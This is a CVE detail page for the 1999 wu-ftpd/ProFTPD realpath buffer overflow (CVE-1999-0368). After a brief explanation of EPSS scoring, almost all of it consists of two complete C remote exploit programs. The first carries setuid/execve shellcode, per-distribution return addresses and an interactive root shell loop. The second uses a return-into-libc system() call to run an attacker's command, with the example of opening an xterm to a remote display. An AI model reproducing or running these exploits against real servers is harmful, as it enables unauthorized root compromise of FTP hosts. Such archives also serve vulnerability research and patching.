CVE-1999-0368 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/113/info There is a vulnerability in ProFTPD versions 1.2.0pre1 and earlier and in wu-ftpd 2.4.2 (beta 18) VR9 and earlier. This vulnerability is a buffer overflow triggered by unusually long path names (directory structures). For example, if a user has write privilages he or she may create an unusually long pathname which due to insuficient bounds checking in ProFTPD will overwrite the stack. This will allow the attacker to insert their own instruction set on the stack to be excuted thereby elavating their access. The problem is in a bad implementation of the "realpath" function. */ /* * Remote/local exploit for wu-ftpd [12] through [18] * gcc w00f.c -o w00f -Wall -O2 * * Offsets/padding may need to be changed, depending on remote daemon * compilation options. Try offsets -5000 to 5000 in increments of 100. * * Note: you need to use -t >0 for -any- version lower than 18. * Coded by smiler and cossack */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdarg.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <netdb.h> #include <arpa/inet.h> /* In a beta[12-17] shellcode_A overflow, we will not see responses to our commands. Add option -c (use chroot code) to fix this. */ unsigned char hellcode_a[]= "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01\x20" "\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c" "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd" "\x80\xe8\xcf\xff\xff\xff\xff\xff\xff" "\x0f\x42\x49\x4e\x0f\x53\x48"; unsigned char hellcode_b[]= "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39\xf3\x7c\x07\x80" "\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46" "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e" "\x31\xc9\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31" "\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x31\xc0\x88\x46\x03" "\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09\x89" "\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d" "\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80" "\xe8\x95\xff\xff\xff\xff\xff\xff\x43\x43\x30\x30\x31" "\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a"; char *Fgets(char *s,int size,FILE *stream); int ftp_command(char *buf,int success,FILE *out,char *fmt,...); int double_up(unsigned long blah,char *doh); int resolv(char *hostname,struct in_addr *addr); void fatal(char *string); int usage(char *program); int tcp_connect(struct in_addr host,unsigned short port); int parse_pwd(char *in,int *pwdlen); void RunShell(int thesock); struct type { unsigned long ret_address; unsigned char align; /* Use this only to offset \xff's used */ signed short pad_shift; /* how little/much padding */ unsigned char overflow_type; /* whether you have to DELE */ char *name; }; /* ret_pos is the same for all types of overflows, you only have to change the padding. This makes it neater, and gives the shellcode plenty of room for nops etc */ #define RET_POS 190 #define FTPROOT "/home/ftp" /* the redhat 5.0 exploit doesn't work at the moment...it must be some trite error i am overlooking. (the shellcode exits w/ code 0375) */ struct type types[]={ { 0xbffff340, 3, 60, 0, "BETA-18 (redhat 5.2)", }, { 0xbfffe30e, 3,-28, 1, "BETA-16 (redhat 5.1)", }, { 0xb2ffe356, 3,-28, 1, "BETA-15 (redhat 5.0)", }, { 0xbfffebc5, 3, 0, 1, "BETA-15 (slackware 3.3)", }, { 0xbffff3b3, 3, 0, 1, "BETA-15 (slackware 3.4)", }, { 0xbffff395, 3, 0, 1, "BETA-15 (slackware 3.6)", }, { 0,0,0,0,NULL } }; struct options { char start_dir[20]; unsigned char *shellcode; unsigned char chroot; char username[10]; char password[10]; int offset; int t; } opts; /* Bit of a big messy function, but hey, its only an exploit */ int main(int argc,char **argv) { char *argv0,ltr; char outbuf[1024], inbuf[1024], ret_string[5]; int pwdlen,ctr,d; FILE *cin; int fd; struct in_addr victim; argv0 = strdup(argv[0]); *opts.username = *opts.password = *opts.start_dir = 0; opts.chroot = opts.offset = opts.t = 0; opts.shellcode = hellcode_a; while ((d = getopt(argc,argv,"cs:o:t:"))!= -1){ switch (d) { case 'c': opts.shellcode = hellcode_b; opts.chroot = 1; break; case 's': strcpy(opts.start_dir,optarg); break; case 'o': opts.offset = atoi(optarg); break; case 't': opts.t = atoi(optarg); if ((opts.t < 0)||(opts.t>5)) { printf("Dont have that type!\n"); exit(-1); } } } argc -= optind; argv += optind; if (argc < 3) usage(argv0); if (!resolv(argv[0],&victim)) { perror("resolving"); exit(-1); } strcpy(opts.username,argv[1]); strcpy(opts.password,argv[2]); if ((fd = tcp_connect(victim,21)) < 0) { perror("connect"); exit(-1); } if (!(cin = fdopen(fd,"r"))) { printf("Couldn't get stream\n"); exit(-1); } Fgets(inbuf,sizeof(inbuf),cin); printf("%s",inbuf); if (ftp_command(inbuf,331,cin,"USER %s\n",opts.username)<0) fatal("Bad username\n"); if (ftp_command(inbuf,230,cin,"PASS %s\n",opts.password)<0) fatal("Bad password\n"); if (*opts.start_dir) if (ftp_command(inbuf,250,cin,"CWD %s\n",opts.start_dir)<0) fatal("Couldn't change dir\n"); if (ftp_command(inbuf,257,cin,"PWD\n")<0) fatal("PWD\n"); if (parse_pwd(inbuf,&pwdlen) < 0) fatal("PWD\n"); srand(time(NULL)); printf("Making padding directorys\n"); for (ctr = 0;ctr < 4;ctr++) { ltr = rand()%26 + 65; memset(outbuf,ltr,194); outbuf[194]=0; if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0) fatal("MKD\n"); if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0) fatal("CWD\n"); } /* Make padding directory */ ctr = 124 - (pwdlen - types[opts.t].align);//180 //ctr = 152 - (pwdlen - types[opts.t].align); ctr -= types[opts.t].pad_shift; if (ctr < 0) { exit(-1); } memset(outbuf,'A',ctr+1); outbuf[ctr] = 0; if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0) fatal("MKD\n"); if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0) fatal("CWD\n"); memset(outbuf,0x90,195); d=0; for (ctr = RET_POS-strlen(opts.shellcode);ctr<(RET_POS);ctr++) outbuf[ctr] = opts.shellcode[d++]; double_up(types[opts.t].ret_address-opts.offset,ret_string); strcpy(outbuf+RET_POS,ret_string); strcpy(outbuf+RET_POS+strlen(ret_string),ret_string); printf("Press any key to send shellcode...\n"); getchar(); if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0) fatal("MKD\n"); if (types[opts.t].overflow_type == 1) if (ftp_command(inbuf,250,cin,"DELE %s\n",outbuf)<0) fatal("DELE\n"); /* HEH. For type 1 style we add a dele command. This overflow occurs in delete() in ftpd.c. The cause is realpath() in realpath.c not checking bounds correctly, overwriting path[] in delete(). */ RunShell(fd); return(1); } void RunShell(int thesock) { int n; char recvbuf[1024]; fd_set rset; while (1) { FD_ZERO(&rset); FD_SET(thesock,&rset); FD_SET(STDIN_FILENO,&rset); select(thesock+1,&rset,NULL,NULL,NULL); if (FD_ISSET(thesock,&rset)) { n=read(thesock,recvbuf,1024); if (n <= 0) { printf("Connection closed\n"); exit(0); } recvbuf[n]=0; printf("%s",recvbuf); } if (FD_ISSET(STDIN_FILENO,&rset)) { n=read(STDIN_FILENO,recvbuf,1024); if (n>0) { recvbuf[n]=0; write(thesock,recvbuf,n); } } } return; } int double_up(unsigned long blah, char *doh) { int a; unsigned char *ptr,*ptr2; bzero(doh,6); ptr=doh; ptr2=(char *)&blah; for (a=0;a<4;a++) { *ptr++=*ptr2; if (*ptr2==0xff) *ptr++=0xff; ptr2++; } return(1); } int parse_pwd(char *in, int *pwdlen) { char *ptr1,*ptr2; /* 257 "/" is current directory */ ptr1 = strchr(in,'\"'); if (!ptr1) return(-1); ptr2 = strchr(ptr1+1,'\"'); if (!ptr2) return(-1); *ptr2 = 0; *pwdlen = strlen(ptr1+1); /* If its just "/" then it contributes nothing to the RET_POS */ if (*pwdlen==1) *pwdlen -= 1; printf("Home Dir = %s, Len = %d\n",ptr1+1,*pwdlen); return(1); } int tcp_connect(struct in_addr host,unsigned short port) { struct sockaddr_in serv; int fd; fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bzero(&serv,sizeof(serv)); memcpy(&serv.sin_addr,&host,sizeof(struct in_addr)); serv.sin_port = htons(port); serv.sin_family = AF_INET; if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) { return(-1); } return(fd); } int ftp_command(char *buf,int success,FILE *out,char *fmt,...) { va_list va; char line[1200]; int val; va_start(va,fmt); vsprintf(line,fmt,va); va_end(va); if (write(fileno(out),line,strlen(line)) < 0) return(-1); bzero(buf,200); while(1) { Fgets(line,sizeof(line),out); #ifdef DEBUG printf("%s",line); #endif if (*(line+3)!='-') break; } strncpy(buf,line,200); val = atoi(line); if (success != val) return(-1); return(1); } void fatal(char *string) { printf("%s",string); exit(-1); } char *Fgets(char *s,int size,FILE *stream) { char *ptr; ptr = fgets(s,size,stream); //if (!ptr) //fatal("Disconnected\n"); return(ptr); } int resolv(char *hostname,struct in_addr *addr) { struct hostent *res; if (inet_aton(hostname,addr)) return(1); res = gethostbyname(hostname); if (res == NULL) return(0); memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr)); return(1); } int usage(char *program) { fprintf(stderr,"Usage: %s <host> <username> <password> [-c] [-s start_dir]\n",program); fprintf(stderr,"\t[-o offset] [-t type]\n"); fprintf(stderr,"types:\n"); fprintf(stderr,"0 - %s\n", types[0].name); fprintf(stderr,"1 - %s\n", types[1].name); fprintf(stderr,"2 - %s\n", types[2].name); fprintf(stderr,"3 - %s\n", types[3].name); fprintf(stderr,"4 - %s\n", types[4].name); fprintf(stderr,"5 - %s\n", types[5].name); fprintf(stderr,"\n"); exit(0); } /* -EOF- */

/* source: https://www.securityfocus.com/bid/113/info There is a vulnerability in ProFTPD versions 1.2.0pre1 and earlier and in wu-ftpd 2.4.2 (beta 18) VR9 and earlier. This vulnerability is a buffer overflow triggered by unusually long path names (directory structures). For example, if a user has write privilages he or she may create an unusually long pathname which due to insuficient bounds checking in ProFTPD will overwrite the stack. This will allow the attacker to insert their own instruction set on the stack to be excuted thereby elavating their access. The problem is in a bad implementation of the "realpath" function. */ /* * SDI wu-ftpd exploit for Linux (Feb 20, 1999) * * http://www.sekure.org - Brazilian Information Security Team. * * Source by jamez (jamez@sekure.org) * c0nd0r (condor@sekure.org) * * This source let you execute commands as root if you have write * access on the ftp server. * * Usage: * * gcc SDI-wu.c -o SDI-wu * * ./SDI-wu host user password dir command type [port] [align] * * host: the victim (ftp.microsoft.com) * user: ftp user with write access (anonymous) * password: the password for the user (foo@bar.com) * dir: the directory you have access (/incoming) * command: the command ("/usr/X11R6/bin/xterm -display www.host.com:0") * type: system type (see below) * port: ftp port (21 default) * align: the alignment (default 3) * * * Limitations: * * because I've used hard coded address's for system and the command, * the values wont be the same in others compilations of wu-ftpd. * so, you will need to find the address for the version * you want to exploit. * * because we are not using the stack to put our code, the exploit * will work as well against a non-executable stack patch. * * * RECOMENDATION = Please, run gdb through the wu.ftpd binary in order to * find out your "system address" (ie: print system) and write it down * so you can have more address to try - just overwrite the default addr * and choose type (3). * * * Thanks for the sekure SDI: * fcon, bishop, dumped, bahamas, slide, vader, yuckfoo. * * Also thanks for #uground (irc.brasnet.org) and * chaosmaker, c_orb(efnet) * */ #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <stdio.h> #include <arpa/inet.h> #define MAXLEN 255 #define BSIZE 1024 struct sockaddr_in sa; struct hostent *he; char c = 'A'; char host[255], user[255], pass[255], command[1024], buff[2040], tmp[3060], netbuf[2040], dir[255]; int sd, i, offset = 0, dirsize = 0, port=21, doit = 0, done = 0, todo = 0, align = 3, tipo = 0; /* CUSTOM ADDRESS, CHANGE IT IN ORDER TO EXPLOIT ANOTHER BOX */ #define SYSADDR 0x40043194; #define EGGADDR 0x805f1dc; long systemaddr; long shelladdr; void usage(char * s) { printf(" \nSDI wu-ftpd remote exploit (http://www.sekure.org)\n\n"); printf(" %s host user password dir command [port] [align]\n\n", s); printf(" host: the victim (ftp.microsoft.com)\n"); printf(" user: ftp user with write access (anonymous)\n"); printf(" password: the password for the user (foo@bar.com)\n"); printf(" dir: the directory you have permission to write (/incoming)\n"); printf(" command: the command (\"/usr/X11R6/bin/xterm -display www.host.com:0\")\n"); printf(" type: see below\n"); printf(" port: ftp port (21 default)\n"); printf(" align: the alignment (3 default)\n"); printf("\n type:\n 0 - slak3.4 ver 2.4(4)\n 1 - slak3.4 ver beta-15&18"); printf("\n 2 - slak3.3 ver 2.4(2)"); printf("\n 3 - custom (change the code)\n\n See Netect advisory - "); printf(" this is not suppose to be released soon! (Feb,1999)\n\n"); } void get_dirsize() { strcpy ( tmp, "PWD"); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); read ( sd, netbuf, sizeof(netbuf)); for(i = 0; i < strlen(netbuf); i++) if(netbuf[i] == '\"') break; dirsize = 0; for(i++; i < strlen(netbuf); i++) if(netbuf[i] == '\"') break; else dirsize++; bzero ( &netbuf, sizeof(netbuf)); } int main (int argc, char *argv[]) { if (argc < 7) { usage(argv[0]); exit(0); } sprintf(host, "%s", argv[1]); sprintf(user, "%s", argv[2]); sprintf(pass, "%s", argv[3]); sprintf(dir, "%s", argv[4]); sprintf(command, "%s", argv[5]); tipo = atoi (argv[6]); printf ( "%d\n\n", tipo); if ( argc > 7) port = atoi(argv[7]); if ( argc > 8) align = atoi(argv[8]); if (tipo <= 0) { /* 2.4(4) libc5 slack 3.4 */ systemaddr = 0x400441f0; shelladdr = 0x80604a0; } else if (tipo == 1) { /* beta 15 libc5 slack 3.4 */ systemaddr = 0x400441f0; shelladdr = 0x8062510; } else if (tipo == 2) { /* 2.4(4) libc5 slack 3.3 */ systemaddr = 0x400441f0; shelladdr = 0x805f1e4; } else { /* CUSTOM ADDRESS */ systemaddr = SYSADDR; shelladdr = EGGADDR; } sd = socket ( AF_INET, SOCK_STREAM, 0); sa.sin_family = AF_INET; sa.sin_port = htons(port); he = gethostbyname (host); if (!he) { if ( (sa.sin_addr.s_addr = inet_addr(host)) == INADDR_NONE) { printf ( "wrong ip address or unknown hostname\n"); exit(0); } } else { bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length); } if ( connect ( sd, (struct sockaddr *) &sa, sizeof(sa)) < 0) { printf ( "Cannot connect to remote host: Connection refused\n"); exit(0); } read ( sd, netbuf, sizeof(netbuf)); printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf)); /* ok. we're connected. */ strcpy ( tmp, "USER "); strcat (tmp, user); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp)); read ( sd, netbuf, sizeof(netbuf)); printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf)); /* ok. send the pass. */ strcpy ( tmp, "PASS "); strcat (tmp, pass); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp)); read ( sd, netbuf, sizeof(netbuf)); if ( netbuf[0] == '5') { printf ("Login incorrect!\n"); exit(0); } printf ( "%s\n", netbuf); #ifdef DEBUG printf ( "Ok, we're on! Press any key to exploit it\n"); gets(netbuf); #endif bzero ( &netbuf, sizeof(netbuf)); /* ok. let's get to the vulnerable dir */ strcpy ( tmp, "CWD "); strcat (tmp, dir); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); bzero ( &tmp, sizeof(tmp)); read ( sd, netbuf, sizeof(netbuf)); printf ( "%s\n", netbuf); bzero ( &netbuf, sizeof(netbuf)); get_dirsize(); /* gets home dir size */ todo = BSIZE - dirsize - 60 - 4; /* ok, we're on. let's get things working here! */ while(done < todo) { if((todo - done) > 255) doit = 255; else doit = todo - done; for (i = 0; i < doit; i++) buff[i] = c; buff[doit] = '\0'; strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); read ( sd, netbuf, sizeof(netbuf)); if ( netbuf[1] == '2') { printf ("error while creating the dir, let's try another name...\n\n"); c++; continue; } else done += doit; bzero ( &tmp, sizeof(tmp)); bzero ( &netbuf, sizeof(netbuf)); strcpy ( tmp, "CWD "); strcat ( tmp, buff); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); read ( sd, netbuf, sizeof(netbuf)); if ( netbuf[0] == '5') { printf ("error while exploiting the remote host: Cannot cd dir!\n\n"); } bzero ( &tmp, sizeof(tmp)); bzero ( &netbuf, sizeof(netbuf)); } /* prepare last one */ memset(buff, 'X', MAXLEN); for(i = align; i < 100; i += 4) { buff[i ] = systemaddr & 0x000000ff; buff[i+1] = (systemaddr & 0x0000ff00) >> 8; buff[i+2] = (systemaddr & 0x00ff0000) >> 16; buff[i+3] = (systemaddr & 0xff000000) >> 24; } buff[i++] = shelladdr & 0x000000ff; buff[i++] = (shelladdr & 0x0000ff00) >> 8; buff[i++] = (shelladdr & 0x00ff0000) >> 16; buff[i++] = (shelladdr & 0xff000000) >> 24; strcat(command, ";"); memcpy(buff+140, command, strlen(command)); buff[MAXLEN] = '\0'; strcpy ( tmp, "MKD "); strcat ( tmp, buff); strcat ( tmp, "\n"); write ( sd, tmp, strlen(tmp)); read ( sd, netbuf, sizeof(netbuf)); bzero ( &tmp, sizeof(tmp)); bzero ( &netbuf, sizeof(netbuf)); /* ok. */ printf ( "Exploiting %s\n", dir); printf ( "Using 0x%x(system) and 0x%x(command), alignment = %d, port = %d\n", systemaddr, shelladdr, align, port); printf("\nI guess you're a hax0r now :D.\n"); close (sd); }